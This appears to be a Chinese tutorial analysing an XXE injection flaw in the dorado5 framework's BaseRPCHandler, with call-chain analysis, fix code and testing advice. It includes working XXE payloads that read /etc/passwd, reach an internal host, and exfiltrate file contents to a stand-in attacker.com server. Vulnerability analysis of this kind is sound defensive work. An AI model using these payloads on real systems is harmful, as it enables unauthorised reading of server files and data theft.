XXE漏洞分析与利用教学文档

漏洞概述

本文档详细分析某Cloud系统中存在的XXE（XML External Entity）注入漏洞，该漏洞存在于dorado5框架的BaseRPCHandler类中，由于XML解析时未对外部实体进行过滤，导致攻击者可以读取服务器上的任意文件。

漏洞环境分析

1. 系统架构分析

• 系统基于Java Web架构
• 使用dorado5框架（dorado5-libs.jar）
• 采用Servlet作为HTTP接口
• 使用Dom4j进行XML解析

2. 漏洞组件定位

1. 入口点：通过web.xml文件定位到hrss目录下的相关服务
2. 核心组件：dorado5-libs.jar中的BaseRPCHandler类
3. 漏洞链：
   • BaseRPCHandler → AbstractRPCHandler → Dom4jXmlBuilder → DocumentBuilder

漏洞原理分析

1. 调用链分析

1. BaseRPCHandler初始化：调用父类AbstractRPCHandler的初始化方法
2. AbstractRPCHandler初始化：调用Dom4jXmlBuilder.buildDocument方法
3. XML解析过程：使用JDK自带的DocumentBuilder类解析XML，未禁用外部实体

2. 漏洞成因

• 未过滤外部实体：Dom4jXmlBuilder在解析XML时未配置安全选项
• 回显型XXE：解析结果会包含在HTTP响应中返回给客户端
• 使用默认解析器：直接使用JDK自带的DocumentBuilder，默认启用外部实体解析

漏洞利用方法

1. 利用条件

• 能够向系统发送包含XML的请求
• 系统会解析该XML并返回结果

2. 利用步骤

1. 构造恶意XML：包含外部实体引用的XML

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE test [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <root>&xxe;</root>
   

2. 发送请求：将恶意XML作为请求参数发送到漏洞接口

3. 获取响应：服务器会返回包含被读取文件内容的响应

3. 高级利用技巧

1. 读取不同操作系统文件：

   • Windows: file:///C:/Windows/win.ini
   • Linux: file:///etc/passwd

2. SSRF结合：通过外部实体发起服务器端请求

   <!ENTITY xxe SYSTEM "http://internal.server/secret">
   

3. 盲注利用：当没有回显时，可通过外带数据方式利用

   <!ENTITY % file SYSTEM "file:///etc/passwd">
   <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
   %eval;
   %exfil;
   

漏洞修复方案

1. 临时解决方案

• 在XML解析前添加安全配置：

  DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
  dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  

2. 长期解决方案

1. 升级框架：更新dorado5到最新安全版本
2. 输入过滤：对所有XML输入进行严格的过滤和验证
3. 禁用DTD：完全禁用DTD解析功能
4. 白名单验证：对XML结构进行严格的白名单验证

相关工具与资源

1. 测试工具

• XXEinjector：自动化XXE测试工具
• Burp Suite：用于拦截和修改请求
• OOB Server：用于接收外带数据

2. 参考文章

• SRC挖洞之SSRF与XXE漏洞的实战案例
• OWASP XXE防护指南
• XML外部实体(XXE)处理漏洞详解

3. 相关漏洞

• 反序列化漏洞（可结合ysoserial工具利用）
• SSRF漏洞（常与XXE同时出现）

调试与验证方法

1. 黑盒测试

1. 使用常规XXE payload测试
2. 观察响应中是否包含文件内容
3. 尝试不同路径的文件读取

2. 白盒调试

1. 反编译分析：使用JD-GUI等工具反编译dorado5-libs.jar
2. 关键类定位：
   • BaseRPCHandler
   • AbstractRPCHandler
   • Dom4jXmlBuilder
3. 远程调试：对关键方法设置断点，跟踪XML解析流程

3. 漏洞验证

1. 构造简单XXE payload验证漏洞存在
2. 尝试读取已知文件验证危害程度
3. 测试不同协议支持情况（file, http, ftp等）

总结

该XXE漏洞由于框架设计缺陷导致，危害严重，攻击者可以读取服务器敏感文件，甚至实现远程代码执行。开发人员应重视XML解析的安全配置，对所有XML输入进行严格过滤，并及时更新相关框架到安全版本。